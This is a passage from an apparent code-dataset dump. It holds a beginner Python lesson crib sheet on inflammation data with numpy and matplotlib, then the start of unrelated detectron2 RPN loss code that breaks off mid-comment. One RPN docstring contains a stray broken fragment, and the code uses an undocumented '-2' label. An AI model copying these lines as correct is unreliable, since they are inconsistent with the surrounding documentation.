axis=0))\n# confirm shape of array\nprint(numpy.mean(data, axis=0).shape)\n# average across all columns (axis 1): avg inflammation per day for all patients\nprint(numpy.mean(data, axis=1))\n\n#### Visualizing data ####\n\n# make pylot available from matplotlib (de facto plotting library)\nimport matplotlib.pyplot\n# allow plots to appear when using show()\n%matplotlib inline\n\n# make heatmap from data\nimage = matplotlib.pyplot.imshow(data)\nmatplotlib.pyplot.show()\n\n# plot average inflammation over time\nave_inflammation = numpy.mean(data, axis=0)\nave_plot = matplotlib.pyplot.plot(ave_inflammation)\nmatplotlib.pyplot.show()\n\n# plot max over time\nmax_plot = matplotlib.pyplot.plot(numpy.max(data, axis=0))\nmatplotlib.pyplot.show()\n\n# plot min over time\nmin_plot = matplotlib.pyplot.plot(numpy.min(data, axis=0))\nmatplotlib.pyplot.show()\n\n## Challenge: Create a plot showing the standard deviation (numpy.std) of the inflammation data for each day across all patients.\nstd_plot = matplotlib.pyplot.plot(numpy.std(data, axis=0))\nmatplotlib.pyplot.show()\n\n# grouping plots: complete set of code\n\n# load libraries\nimport numpy\nimport matplotlib.pyplot\n\n# load data from file\ndata = numpy.loadtxt(fname='data/inflammation-01.csv', delimiter=',')\n\n# create space to place plot\nfig = matplotlib.pyplot.figure(figsize=(10.0, 3.0)) # state dimensions of figure\n\n# add subplots, parameters are number of subplots, number of columns, which subplot (left-to-right, top-to-bottom)\naxes1 = fig.add_subplot(1, 3, 1)\naxes2 = fig.add_subplot(1, 3, 2)\naxes3 = fig.add_subplot(1, 3, 3)\n\n# title axes\naxes1.set_ylabel('average')\naxes1.plot(numpy.mean(data, axis=0))\n\naxes2.set_ylabel('max')\naxes2.plot(numpy.max(data, axis=0))\n\naxes3.set_ylabel('min')\naxes3.plot(numpy.min(data, axis=0))\n\n# spread out graphs\nfig.tight_layout()\n\n# show plot\nmatplotlib.pyplot.show()\n\n## Challenge: Modify the program to display the three plots on top of one another instead of side by side.\nimport numpy\nimport matplotlib.pyplot\n\ndata = numpy.loadtxt(fname='inflammation-01.csv', delimiter=',')\n\n# change figsize (swap width and height)\nfig = matplotlib.pyplot.figure(figsize=(3.0, 10.0))\n\n# change add_subplot (swap first two parameters)\naxes1 = fig.add_subplot(3, 1, 1)\naxes2 = fig.add_subplot(3, 1, 2)\naxes3 = fig.add_subplot(3, 1, 3)\n\naxes1.set_ylabel('average')\naxes1.plot(numpy.mean(data, axis=0))\n\naxes2.set_ylabel('max')\naxes2.plot(numpy.max(data, axis=0))\n\naxes3.set_ylabel('min')\naxes3.plot(numpy.min(data, axis=0))\n\nfig.tight_layout()\n\nmatplotlib.pyplot.show()\n\n## Challenge: How would you alter the limits on the x and y axes?\naxes3.set_ylim(0,6)\n# A more automated approach\nmin_data = numpy.min(data, axis=0)\naxes3.set_ylabel('min')\naxes3.plot(min_data)\naxes3.set_ylim(numpy.min(min_data), numpy.max(min_data) * 1.1)\n\n## Wrap up:\n# some of our data appears suspicious (avg, max, and min has odd pattern)\n# we want to re-run for all our datasets\n\n#### Repeating actions with loops ####\n\n# Objectives: write for loop to repeat simple actions, trace changes to variables\n\n# what if we wanted to print each character in a word on a line of its own?\nword = 'lead'\nprint(word[0])\nprint(word[1])\nprint(word[2])\nprint(word[3])\n# try a different word\n# this doesn't scale well, and is fragile (creates error if word is shorter, doesn't print all for longer word)\n\n# print with for loop\nfor char in word:\n    print(char)\n# syntax:\n#   for variable in collection:\n#       do things using variable\n# note on choosing meaningful variable names\n\n# for loop that repeatedly updates variable\nlength = 0 # define external variable\nfor vowel in 'aeiou': # initialize for loop for string (not variable)\n    length = length + 1 # define continuously updated variable internal to loop\nprint('There are', length, 'vowels') # report output at end of loop\n\n# loop variables still exist after loop ends!\nletter = 'z'\nfor letter in 'abc':\n    print(letter)\nprint('after the loop, letter is', letter)\n\n# finding length of a string is a built-in function!\nprint(len('aeiou'))\n\n## Challenge: Exponentiation is built into Python:\nprint(5 ** 3)\n# Write a  loop that calculates the same result as 5 ** 3 using multiplication (and without exponentiation).\nresult = 1\nfor i in range(0, 3):\n    result = result * 5\nprint(result)\n\n#### Storing multiple values in lists ####\n\n# Objectives: create and index lists of simple values, change values of elements, append to list, reorder and slice lists, create and manipulate nested lists\n\n# a list if a way to store many values\n# create a list\nodds = [1, 3, 5, 7]\n# recall list\nprint('odds are:', odds)\n# select individual elements via indexing\nprint('first and last:', odds[0], odds[-1])\n# loop over list (loop variable is assigned to elements one at a time)\nfor number in odds:\n    print(number)\n# you can change values in a list (but not individual characters in a string)\n# list example\nnames = ['Curie', 'Darwing', 'Turing']  # typo in Darwin's name\nprint('names is originally:', names)\nnames[1] = 'Darwin'  # correct the name\nprint('final value of names:', names)\n# string example\nname = 'Darwin'\n#name[0] = 'd'\n\n# two variables can refer to the same list; modifying one modifies both!\nsalsa = ['peppers', 'onions', 'cilantro', 'tomatoes']\nmy_salsa = salsa        # <-- my_salsa and salsa point to the *same* list data in memory\nsalsa[0] = 'hot peppers'\nprint('Ingredients in my salsa:', my_salsa)\n\n# a better way is to make a copy of the original list\nsalsa = ['peppers', 'onions', 'cilantro', 'tomatoes']\nmy_salsa = list(salsa)        # <-- makes a *copy* of the list\nsalsa[0] = 'hot peppers'\nprint('Ingredients in my salsa:', my_salsa)\n\n# lists can contain other lists\nx = [['pepper', 'zucchini', 'onion'],\n     ['cabbage', 'lettuce', 'garlic'],\n     ['apple', 'pear', 'banana']]\n# print first row\nprint([x[0]])\nprint(x[0])\n# print first item in first row\nprint(x[0][0])\n\n# lists can contain elements of different types\nsample_ages = [10, 12.5, 'Unknown']\n\n# append to the list\nodds.append(11)\nprint('odds after adding a value:', odds)\n\n# remove first element\ndel odds[0]\nprint('odds after removing the first element:', odds)\n\n# reverse the list\nodds.reverse()\nprint('odds after reversing:', odds)\n\n# demo: making a list and attempting to copy/modify in place is a bad idea!\nodds = [1, 3, 5, 7]\nprimes = odds\nprimes.append(2)\nprint('primes:', primes)\nprint('odds:', odds)\n# python stores a list in memory, and then can use multiple names to refer to the same list\n\n# to copy a simple list, use list function\nodds = [1, 3, 5, 7]\nprimes = list(odds)\nprimes.append(2)\nprint('primes:', primes)\nprint('odds:', odds)\n\n## Challenge: Use a for-loop to convert the string \u201chello\u201d into a list of letters: [\"h\", \"e\", \"l\", \"l\", \"o\"]\n# Hint: you can create an empty list with: my_list = []\nmy_list = []\nfor char in \"hello\":\n    my_list.append(char)\nprint(my_list)\n\n# slicing lists\nbinomial_name = \"Drosophila melanogaster\"\ngroup = binomial_name[0:10]\nprint(\"group:\", group)\n\nspecies = binomial_name[11:24]\nprint(\"species:\", species)\n\nchromosomes = [\"X\", \"Y\", \"2\", \"3\", \"4\"]\nautosomes = chromosomes[2:5]\nprint(\"autosomes:\", autosomes)\n\nlast = chromosomes[-1]\nprint(\"last:\", last)\n\n## Challenge: Use slicing to access only the last four characters of a string or entries of a list.\nstring_for_slicing = \"Observation date: 02-Feb-2013\"\nlist_for_slicing = [[\"fluorine\", \"F\"],\n                    [\"chlorine\", \"Cl\"],\n                    [\"bromine\", \"Br\"],\n                    [\"iodine\", \"I\"],\n                    [\"astatine\", \"At\"]]\n# Expected result:\n#   \"2013\"\n#   [[\"chlorine\", \"Cl\"], [\"bromine\", \"Br\"], [\"iodine\", \"I\"], [\"astatine\", \"At\"]]\nstring_for_slicing[-4:]\nlist_for_slicing[-4:]\n\n# take a slice from the beginning of the sequence\n# omit the first range to indicate the start\ndate = \"Monday 4 January 2016\"\nday = date[0:6]\nprint(\"Using 0 to begin range:\", day)\nday = date[:6]\nprint(\"Omitting beginning index:\", day)\n\n# omit the last range to indicate the end\nmonths = [\"jan\", \"feb\", \"mar\", \"apr\", \"may\", \"jun\", \"jul\", \"aug\", \"sep\", \"oct\", \"nov\", \"dec\"]\nsond = months[8:12]\nprint(\"With known last position:\", sond)\nsond = months[8:len(months)]\nprint(\"Using len() to get last entry:\", sond)\nsond = months[8:]\nprint(\"Omitting ending index:\", sond)\n\n## Challenge: + usually means addition, but when used on strings or lists, it means \u201cconcatenate\u201d. Given that, what do you think the multiplication operator * does on lists? In particular, what will be the output of the following code?\ncounts = [2, 4, 6, 8, 10]\nrepeats = counts * 2\nprint(repeats)\n# [2, 4, 6, 8, 10, 2, 4, 6, 8, 10]: the multiplication operator * used on a list replicates elements of the list and concatenates them together and is equivalent to: counts + counts\n\n#### Analyzing data from multiple files ####\n\n# import library to find files/directories\nimport glob\n\n# get names of all csv files in current directory\nprint(glob.glob('data/inflammation*.csv'))\n\n# combine previous content together and analyze all files\n\nimport numpy\nimport matplotlib.pyplot\n\nfilenames = sorted(glob.glob('data/inflammation*.csv'))\nfilenames = filenames[0:3]\nfor f in filenames:\n    print(f)\n\n    data = numpy.loadtxt(fname=f, delimiter=',')\n\n    fig = matplotlib.pyplot.figure(figsize=(10.0, 3.0))\n\n    axes1 = fig.add_subplot(1, 3, 1)\n    axes2 = fig.add_subplot(1, 3, 2)\n    axes3 = fig.add_subplot(1, 3, 3)\n\n    axes1.set_ylabel('average')\n    axes1.plot(numpy.mean(data, axis=0))\n\n    axes2.set_ylabel('max')\n    axes2.plot(numpy.max(data, axis=0))\n\n    axes3.set_ylabel('min')\n    axes3.plot(numpy.min(data, axis=0))\n\n    fig.tight_layout()\n    matplotlib.pyplot.show()\n\n## Challenge: Plot the difference between the average of the first dataset and the average of the second dataset, i.e., the difference between the leftmost plot of the first two figures.\nimport glob\nimport numpy\nimport matplotlib.pyplot\n\nfilenames = sorted(glob.glob('data/inflammation*.csv'))\n\ndata0 = numpy.loadtxt(fname=filenames[0], delimiter=',')\ndata1 = numpy.loadtxt(fname=filenames[1], delimiter=',')\n\nfig = matplotlib.pyplot.figure(figsize=(10.0, 3.0))\n\nmatplotlib.pyplot.ylabel('Difference in average')\nmatplotlib.pyplot.plot(numpy.mean(data0, axis=0) - numpy.mean(data1, axis=0))\n\nfig.tight_layout()\nmatplotlib.pyplot.show()\n\n#### Making choices ####\n\n# Objectives: write conditional statements including if, elif, else; evaluate expressions containing and and or\n\n# tell python to take different actions with if statements\nnum = 37\nif num > 100:\n    print('greater')\nelse:\n    print('not greater')\nprint('done')\n\n# don't need else; can also do nothing\nnum = 53\nprint('before conditional...')\nif num > 100:\n    print(num,' is greater than 100')\nprint('...after conditional')\n\n# can have multiple alternatives using elif\nnum = -3\n\nif num > 0:\n    print(num, 'is positive')\nelif num == 0: # double equal sign is necessary; single used to assign values\n    print(num, 'is zero')\nelse:\n    print(num, 'is negative')\n\n# combine tests using and, when both parts must be true\nif (1 > 0) and (-1 > 0):\n    print('both parts are true')\nelse:\n    print('at least one part is false')\n\n# combine tests using or if at least one part must be true\nif (1 < 0) or (-1 < 0):\n    print('at least one test is true')\n# true and false are booleans\n\n## Challenge: What do you expect to get from this code?\nif 4 > 5:\n    print('A')\nelif 4 == 5:\n    print('B')\nelif 4 < 5:\n    print('C')\n# C gets printed because the first two conditions, 4 > 5 and 4 == 5, are not true, but 4 < 5 is true.\n\n# checking for problems in inflammation data\nimport numpy # if not already done\n\n# check if max inflammation equals day number (error in data entry)\nmax_inflammation_0 = numpy.max(data, axis=0)[0]\nmax_inflammation_20 = numpy.max(data, axis=0)[20]\n\nif max_inflammation_0 == 0 and max_inflammation_20 == 20:\n    print('Suspicious looking maxima!')\n\n# check if mins are all zero (healthy patient)\nif numpy.sum(numpy.min(data, axis=0)) == 0:\n    print('Minima add up to zero!')\n\n# combine together with data\ndata = numpy.loadtxt(fname='inflammation-01.csv', delimiter=',')\n\nmax_inflammation_0 = numpy.max(data, axis=0)[0]\nmax_inflammation_20 = numpy.max(data, axis=0)[20]\n\nif max_inflammation_0 == 0 and max_inflammation_20 == 20:\n    print('Suspicious looking maxima!')\nelif numpy.sum(numpy.min(data, axis=0)) == 0:\n    print('Minima add up to zero!')\nelse:\n    print('Seems OK!')\n\n## Challenge:\n# Write a loop that counts the number of vowels in a character string.\n# Test it on a few individual words and full sentences.\n# Once you are done, compare your solution to your neighbor\u2019s. Did you make the same decisions about how to handle the letter \u2018y\u2019 (which some people think is a vowel, and some do not)?\nvowels = 'aeiouAEIOU'\nsentence = 'Mary had a little lamb.'\ncount = 0\nfor char in sentence:\n    if char in vowels:\n        count += 1\n\nprint(\"The number of vowels in this string is \" + str(count))\n\n#### Creating functions ####\n\n# Objectives: define new functions that takes parameters, return value from function, test and debug, set default values for function parameters\n\n# functions allow us to create a shorthand way to re-execute longer pieces of code\n# define function that converts temps from F to C\ndef fahr_to_celsius(temp):\n    return ((temp - 32) * (5/9))\n\n# test function\nfahr_to_celsius(32)\n# we can use this the same way we use other functions\nprint('freezing point of water:', fahr_to_celsius(32), 'C')\nprint('boiling point of water:', fahr_to_celsius(212), 'C')\n\n# composing functions\n# write a function to convert C to K\ndef celsius_to_kelvin(temp_c):\n    return temp_c + 273.15\n\nprint('freezing point of water in Kelvin:', celsius_to_kelvin(0.))\n\n# convert F to K: compose the two functions we have already created (to apply one function to the result of another)\ndef fahr_to_kelvin(temp_f):\n    temp_c = fahr_to_celsius(temp_f)\n    temp_k = celsius_to_kelvin(temp_c)\n    return temp_k\n\nprint('boiling point of water in Kelvin:', fahr_to_kelvin(212.0))\n\n## Challenge: \u201cAdding\u201d two strings produces their concatenation: 'a' + 'b' is 'ab'. Write a function called fence that takes two parameters called original and wrapper and returns a new string that has the wrapper character at the beginning and end of the original. A call to your function should look like this:\n# input: print(fence('name', '*'))\n# output: *name*\ndef fence(original, wrapper):\n    return wrapper + original + wrapper\n\n## Challenge: Note that return and print are not interchangeable. print is a Python function that prints data to the screen. It enables us, users, see the data. return statement, on the other hand, makes data visible to the program. Let\u2019s have a look at the following function:\ndef add(a, b):\n    print(a + b)\n# What will we see if we execute the following commands?\nA = add(7, 3)\nprint(A)\n# Python will first execute the function add with a = 7 and b = 3, and, therefore, print 10. However, because function add does not have a line that starts with return (no return \u201cstatement\u201d), it will, by default, return nothing which, in Python world, is called None. Therefore, A will be assigned to None and the last line (print(A)) will print None. As a result, we will see:\n#10\n#NONE\n\n# make inflammation process easier to read and reuse by defining code as function\ndef analyze(filename):\n\n    data = numpy.loadtxt(fname=filename, delimiter=',')\n\n    fig = matplotlib.pyplot.figure(figsize=(10.0, 3.0))\n\n    axes1 = fig.add_subplot(1, 3, 1)\n    axes2 = fig.add_subplot(1, 3, 2)\n    axes3 = fig.add_subplot(1, 3, 3)\n\n    axes1.set_ylabel('average')\n    axes1.plot(numpy.mean(data, axis=0))\n\n    axes2.set_ylabel('max')\n    axes2.plot(numpy.max(data, axis=0))\n\n    axes3.set_ylabel('min')\n    axes3.plot(numpy.min(data, axis=0))\n\n    fig.tight_layout()\n    matplotlib.pyplot.show()\n\n# make a function to find the problems we noticed earlier\ndef detect_problems(filename):\n\n    data = numpy.loadtxt(fname=filename, delimiter=',')\n\n    if numpy.max(data, axis=0)[0] == 0 and numpy.max(data, axis=0)[20] == 20:\n        print('Suspicious looking maxima!')\n    elif numpy.sum(numpy.min(data, axis=0)) == 0:\n        print('Minima add up to zero!')\n    else:\n        print('Seems OK!')\n\n# we can run both at once across all files in a for loop\nfilenames = sorted(glob.glob('inflammation*.csv'))\n\nfor f in filenames[:3]:\n    print(f)\n    analyze(f)\n    detect_problems(f)\n\n# testing and documenting\n# write a function to offset data (allows to test functions)\ndef offset_mean(data, target_mean_value):\n    return (data - numpy.mean(data)) + target_mean_value\n\n# create test matrix of 0s and offset values using new function (to test it)\nz = numpy.zeros((2,2))\nprint(offset_mean(z, 3))\n\n# use offset function on real data\ndata = numpy.loadtxt(fname='inflammation-01.csv', delimiter=',')\nprint(offset_mean(data, 0))\n\n# confirm offset has worked\nprint('original min, mean, and max are:', numpy.min(data), numpy.mean(data), numpy.max(data))\noffset_data = offset_mean(data, 0)\nprint('min, mean, and max of offset data are:',\n      numpy.min(offset_data),\n      numpy.mean(offset_data),\n      numpy.max(offset_data))\n# offset isn't exact, but is close\n\n# check standard deviation\nprint('std dev before and after:', numpy.std(data), numpy.std(offset_data))\n# check more precisely\nprint('difference in standard deviations before and after:',\n      numpy.std(data) - numpy.std(offset_data))\n\n# we could add documentation to offset function to describe its purpose using comments\n# alternatively, add string to function itself, which embeds in help documentation\ndef offset_mean(data, target_mean_value):\n    '''Return a new array containing the original data\n       with its mean offset to match the desired value.'''\n    return (data - numpy.mean(data)) + target_mean_value\nhelp(offset_mean)\n# docstring; triple quotes allows us to break into separate lines (and add example)\ndef offset_mean(data, target_mean_value):\n    '''Return a new array containing the original data\n       with its mean offset to match the desired value.\n    Example: offset_mean([1, 2, 3], 0) => [-1, 0, 1]'''\n    return (data - numpy.mean(data)) + target_mean_value\nhelp(offset_mean)\n\n# defining defaults\n# pass the filename to loadtxt without the fname=\nnumpy.loadtxt('inflammation-01.csv', delimiter=',')\n# delimiter needs to be there!\nnumpy.loadtxt('inflammation-01.csv', ',')\n\n# redefine offset mean\ndef offset_mean(data, target_mean_value=0.0):\n    '''Return a new array containing the original data with its mean offset to match the\n       desired value (0 by default).\n    Example: offset_mean([1, 2, 3], 0) => [-1, 0, 1]'''\n    return (data - numpy.mean(data)) + target_mean_value\n\n# can still call function with two arguments\ntest_data = numpy.zeros((2, 2))\nprint(offset_mean(test_data, 3))\n\n# call it with just one parameter, target_mean_value automatically assigned the default value of 0.0\nmore_data = 5 + numpy.zeros((2, 2))\nprint('data before mean offset:')\nprint(more_data)\nprint('offset data:')\nprint(offset_mean(more_data))\n\n# how Python matches values to parameters:\ndef display(a=1, b=2, c=3):\n    print('a:', a, 'b:', b, 'c:', c)\n\nprint('no parameters:')\ndisplay()\nprint('one parameter:')\ndisplay(55)\nprint('two parameters:')\ndisplay(55, 66)\n\n# override behavior by naming value as it's passed\nprint('only setting the value of c')\ndisplay(c=77)\n\n# readable functions\n# show example: http://swcarpentry.github.io/python-novice-inflammation/06-func/index.html\n\n## Challenge: Return vs print\n\n#### Errors and Exceptions ####\n\n# example traceback\ndef favorite_ice_cream():\n    ice_creams = [\n        \"chocolate\",\n        \"vanilla\",\n        \"strawberry\"\n    ]\n    print(ice_creams[3])\n\nfavorite_ice_cream()\n\n#syntax errors\n# colon\n#indentation\n\n# variable name errors\n\n# index errors\n\n# file errors\n\n#### Defensive programming ####\n\n# are we getting the right answer?\n#   Write programs that check their own operation.\n#   Write and run tests for widely-used functions.\n#   Make sure we know what \u201ccorrect\u201d actually means.\n\n# assume mistakes will happen and guard against them (defensive programming)\n\n# assertions: statement that something must be true at a certain point in a program\nnumbers = [1.5, 2.3, 0.7, -0.001, 4.4]\ntotal = 0.0\nfor n in numbers:\n    assert n > 0.0, 'Data should only contain positive values'\n    total += n\nprint('total is:', total)\n# types:\n#   precondition is something that must be true at the start of a function in order for it to work correctly.\n#   postcondition is something that the function guarantees is true when it finishes.\n#   invariant is something that is always true at a particular point inside a piece of code.\n\n# test driven development\n# normal tendency is to do:\n#   Write a function range_overlap.\n#   Call it interactively on two or three different inputs.\n#   If it produces the wrong answer, fix the function and re-run that test.\n# better practice is to:\n#   Write a short function for each test.\n#   Write a range_overlap function that should pass those tests.\n#   If range_overlap produces any wrong answers, fix it and re-run the test functions.\n\n#### Debugging ####\n\n# overview practices\n\n## Challenge: pair up, introduce error, try to debug with applying principles\n\n#### Command-line programs ####\n\n# switch to command line\n# download code file: http://swcarpentry.github.io/python-novice-inflammation/data/python-novice-inflammation-code.zip\n", "meta": {"hexsha": "30421ef79cf34842614ee3ca1c40b4d3a8620343", "size": 29122, "ext": "py", "lang": "Python", "max_stars_repo_path": "SWC/python.py", "max_stars_repo_name": "k8hertweck/CarpentriesCribSheets", "max_stars_repo_head_hexsha": "23d1f6132ba7c45a12aa00b0faede384c80eb3e3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-02-02T17:10:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-02T17:10:58.000Z", "max_issues_repo_path": "SWC/python.py", "max_issues_repo_name": "k8hertweck/CarpentriesCribSheets", "max_issues_repo_head_hexsha": "23d1f6132ba7c45a12aa00b0faede384c80eb3e3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "SWC/python.py", "max_forks_repo_name": "k8hertweck/CarpentriesCribSheets", "max_forks_repo_head_hexsha": "23d1f6132ba7c45a12aa00b0faede384c80eb3e3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.8320180383, "max_line_length": 378, "alphanum_fraction": 0.7202802005, "include": true, "reason": "import numpy", "num_tokens": 7489, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3849121444839335, "lm_q2_score": 0.22815650216092537, "lm_q1q2_score": 0.08782020852471499}}
{"text": "# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved\nimport itertools\nimport logging\nimport numpy as np\nimport torch\nimport torch.nn.functional as F\nfrom fvcore.nn import smooth_l1_loss\n\nfrom detectron2.layers import batched_nms, cat\nfrom detectron2.structures import Boxes, Instances, pairwise_iou\nfrom detectron2.utils.events import get_event_storage\nfrom detectron2.utils.memory import retry_if_cuda_oom\n\nfrom detectron2.modeling.sampling import subsample_labels\n\ndef rpn_losses(\n    gt_objectness_logits,\n    gt_anchor_deltas,\n    pred_objectness_logits,\n    pred_anchor_deltas,\n    smooth_l1_beta,\n):\n    \"\"\"\n    Args:\n        gt_objectness_logits (Tensor): shape (N,), each element in {-1, 0, 1} representing\n            ground-truth objectness labels with: -1 = ignore; 0 = not object; 1 = object.\n        gt_anchor_deltas (Tensor): shape (N, box_dim), row i represents ground-truth\n            box2box transform targets (dx, dy, dw, dh) or (dx, dy, dw, dh, da) that map anchor i to\n            its matched ground-truth box.\n        pred_objectness_logits (Tensor): shape (N,), each element is a predicted objectness\n            logit.\n        pred_anchor_deltas (Tensor): shape (N, box_dim), each row is a predicted box2box\n            transform (dx, dy, dw, dh) or (dx, dy, dw, dh, da        mx = dx.max())\n        smooth_l1_beta (float): The transition point between L1 and L2 loss in\n            the smooth L1 loss function. When set to 0, the loss becomes L1. When\n            set to +inf, the loss becomes constant 0.\n\n    Returns:\n        objectness_loss, localization_loss, both unnormalized (summed over samples).\n    \"\"\"\n    pos_masks = gt_objectness_logits == 1\n    localization_loss = smooth_l1_loss(\n        pred_anchor_deltas[pos_masks], gt_anchor_deltas[pos_masks], smooth_l1_beta, reduction=\"sum\"\n    )\n\n    low_qual_masks = gt_objectness_logits == -2\n    localization_loss = localization_loss + smooth_l1_loss(\n        pred_anchor_deltas[low_qual_masks], gt_anchor_deltas[low_qual_masks], smooth_l1_beta, reduction=\"sum\"\n    )\n\n    valid_masks = gt_objectness_logits >= 0\n    objectness_loss = F.binary_cross_entropy_with_logits(\n        pred_objectness_logits[valid_masks],\n        gt_objectness_logits[valid_masks].to(torch.float32),\n        reduction=\"sum\",\n    )\n    return objectness_loss, localization_loss\n\nclass RPNOutputs(object):\n    def __init__(\n        self,\n        box2box_transform,\n        anchor_matcher,\n        batch_size_per_image,\n        positive_fraction,\n        images,\n        pred_objectness_logits,\n        pred_anchor_deltas,\n        anchors,\n        boundary_threshold=0,\n        gt_boxes=None,\n        smooth_l1_beta=0.0,\n    ):\n        \"\"\"\n        Args:\n            box2box_transform (Box2BoxTransform): :class:`Box2BoxTransform` instance for\n                anchor-proposal transformations.\n            anchor_matcher (Matcher): :class:`Matcher` instance for matching anchors to\n                ground-truth boxes; used to determine training labels.\n            batch_size_per_image (int): number of proposals to sample when training\n            positive_fraction (float): target fraction of sampled proposals that should be positive\n            images (ImageList): :class:`ImageList` instance representing N input images\n            pred_objectness_logits (list[Tensor]): A list of L elements.\n                Element i is a tensor of shape (N, A, Hi, Wi) representing\n                the predicted objectness logits for anchors.\n            pred_anchor_deltas (list[Tensor]): A list of L elements. Element i is a tensor of shape\n                (N, A*4, Hi, Wi) representing the predicted \"deltas\" used to transform anchors\n                to proposals.\n            anchors (list[list[Boxes]]): A list of N elements. Each element is a list of L\n                Boxes. The Boxes at (n, l) stores the entire anchor array for feature map l in image\n                n (i.e. the cell anchors repeated over all locations in feature map (n, l)).\n            boundary_threshold (int): if >= 0, then anchors that extend beyond the image\n                boundary by more than boundary_thresh are not used in training. Set to a very large\n                number or < 0 to disable this behavior. Only needed in training.\n            gt_boxes (list[Boxes], optional): A list of N elements. Element i a Boxes storing\n                the ground-truth (\"gt\") boxes for image i.\n            smooth_l1_beta (float): The transition point between L1 and L2 loss in\n                the smooth L1 loss function. When set to 0, the loss becomes L1. When\n                set to +inf, the loss becomes constant 0.\n        \"\"\"\n        self.box2box_transform = box2box_transform\n        self.anchor_matcher = anchor_matcher\n        self.batch_size_per_image = batch_size_per_image\n        self.positive_fraction = positive_fraction\n        self.pred_objectness_logits = pred_objectness_logits\n        self.pred_anchor_deltas = pred_anchor_deltas\n\n        self.anchors = anchors\n        self.gt_boxes = gt_boxes\n        self.num_feature_maps = len(pred_objectness_logits)\n        self.num_images = len(images)\n        self.image_sizes = images.image_sizes\n        self.boundary_threshold = boundary_threshold\n        self.smooth_l1_beta = smooth_l1_beta\n\n    def _get_ground_truth(self):\n        \"\"\"\n        Returns:\n            gt_objectness_logits: list of N tensors. Tensor i is a vector whose length is the\n                total number of anchors in image i (i.e., len(anchors[i])). Label values are\n                in {-1, 0, 1}, with meanings: -1 = ignore; 0 = negative class; 1 = positive class.\n            gt_anchor_deltas: list of N tensors. Tensor i has shape (len(anchors[i]), 4).\n        \"\"\"\n        gt_objectness_logits = []\n        gt_anchor_deltas = []\n        # Concatenate anchors from all feature maps into a single Boxes per image\n        anchors = [Boxes.cat(anchors_i) for anchors_i in self.anchors]\n        for image_size_i, anchors_i, gt_boxes_i in zip(self.image_sizes, anchors, self.gt_boxes):\n            \"\"\"\n            image_size_i: (h, w) for the i-th image\n            anchors_i: anchors for i-th image\n            gt_boxes_i: ground-truth boxes for i-th image\n            \"\"\"\n            match_quality_matrix = retry_if_cuda_oom(pairwise_iou)(gt_boxes_i, anchors_i)\n            matched_idxs, gt_objectness_logits_i = retry_if_cuda_oom(self.anchor_matcher)(\n                match_quality_matrix\n            )\n            # Matching is memory-expensive and may result in CPU tensors. But the result is small\n            gt_objectness_logits_i = gt_objectness_logits_i.to(device=gt_boxes_i.device)\n            del match_quality_matrix\n\n            if self.boundary_threshold >= 0:\n                # Discard anchors that go out of the boundaries of the image\n                # NOTE: This is legacy functionality that is turned off by default in Detectron2\n                anchors_inside_image = anchors_i.inside_box(image_size_i, self.boundary_threshold)\n                gt_objectness_logits_i[~anchors_inside_image] = -1\n\n            if len(gt_boxes_i) == 0:\n                # These values won't be used anyway since the anchor is labeled as background\n                gt_anchor_deltas_i = torch.zeros_like(anchors_i.tensor)\n            else:\n                # TODO wasted computation for ignored boxes\n                matched_gt_boxes = gt_boxes_i[matched_idxs]\n                gt_anchor_deltas_i = self.box2box_transform.get_deltas(\n                    anchors_i.tensor, matched_gt_boxes.tensor\n                )\n\n            gt_objectness_logits.append(gt_objectness_logits_i)\n            gt_anchor_deltas.append(gt_anchor_deltas_i)\n\n        return gt_objectness_logits, gt_anchor_deltas\n\n    def losses(self):\n        \"\"\"\n        Return the losses from a set of RPN predictions and their associated ground-truth.\n\n        Returns:\n            dict[loss name -> loss value]: A dict mapping from loss name to loss value.\n                Loss names are: `loss_rpn_cls` for objectness classification and\n                `loss_rpn_loc` for proposal localization.\n        \"\"\"\n\n        def resample(label):\n            \"\"\"\n            Randomly sample a subset of positive and negative examples by overwriting\n            the label vector to the ignore value (-1) for all elements that are not\n            included in the sample.\n            \"\"\"\n            pos_idx, neg_idx = subsample_labels(\n                label, self.batch_size_per_image, self.positive_fraction, 0\n            )\n            # Fill with the ignore label (-1), then set positive and negative labels\n            label.fill_(-1)\n            label.scatter_(0, pos_idx, 1)\n            label.scatter_(0, neg_idx, 0)\n            return label\n\n        gt_objectness_logits, gt_anchor_deltas = self._get_ground_truth()\n        \"\"\"\n        gt_objectness_logits: list of N tensors. Tensor i is a vector whose length is the\n            total number of anchors in image i (i.e., len(anchors[i]))\n        gt_anchor_deltas: list of N tensors. Tensor i has shape (len(anchors[i]), B),\n            where B is the box dimension\n        \"\"\"\n        # Collect all objectness labels and delta targets over feature maps and images\n        # The final ordering is L, N, H, W, A from slowest to fastest axis.\n        num_anchors_per_map = [np.prod(x.shape[1:]) for x in self.pred_objectness_logits]\n        num_anchors_per_image = sum(num_anchors_per_map)\n\n        # Stack to: (N, num_anchors_per_image)\n        gt_objectness_logits = torch.stack(\n            [resample(label) for label in gt_objectness_logits], dim=0\n        )\n\n        # Log the number of positive/negative anchors per-image that's used in training\n        num_pos_anchors = (gt_objectness_logits == 1).sum().item()\n        num_neg_anchors = (gt_objectness_logits == 0).sum().item()\n        storage = get_event_storage()\n        storage.put_scalar(\"rpn/num_pos_anchors\", num_pos_anchors / self.num_images)\n        storage.put_scalar(\"rpn/num_neg_anchors\", num_neg_anchors / self.num_images)\n\n        assert gt_objectness_logits.shape[1] == num_anchors_per_image\n        # Split to tuple of L tensors, each with shape (N, num_anchors_per_map)\n        gt_objectness_logits = torch.split(gt_objectness_logits, num_anchors_per_map, dim=1)\n        # Concat from all feature maps\n        gt_objectness_logits = cat([x.flatten() for x in gt_objectness_logits], dim=0)\n\n        # Stack to: (N, num_anchors_per_image, B)\n        gt_anchor_deltas = torch.stack(gt_anchor_deltas, dim=0)\n        assert gt_anchor_deltas.shape[1] == num_anchors_per_image\n        B = gt_anchor_deltas.shape[2]  # box dimension (4 or 5)\n\n        # Split to tuple of L tensors, each with shape (N, 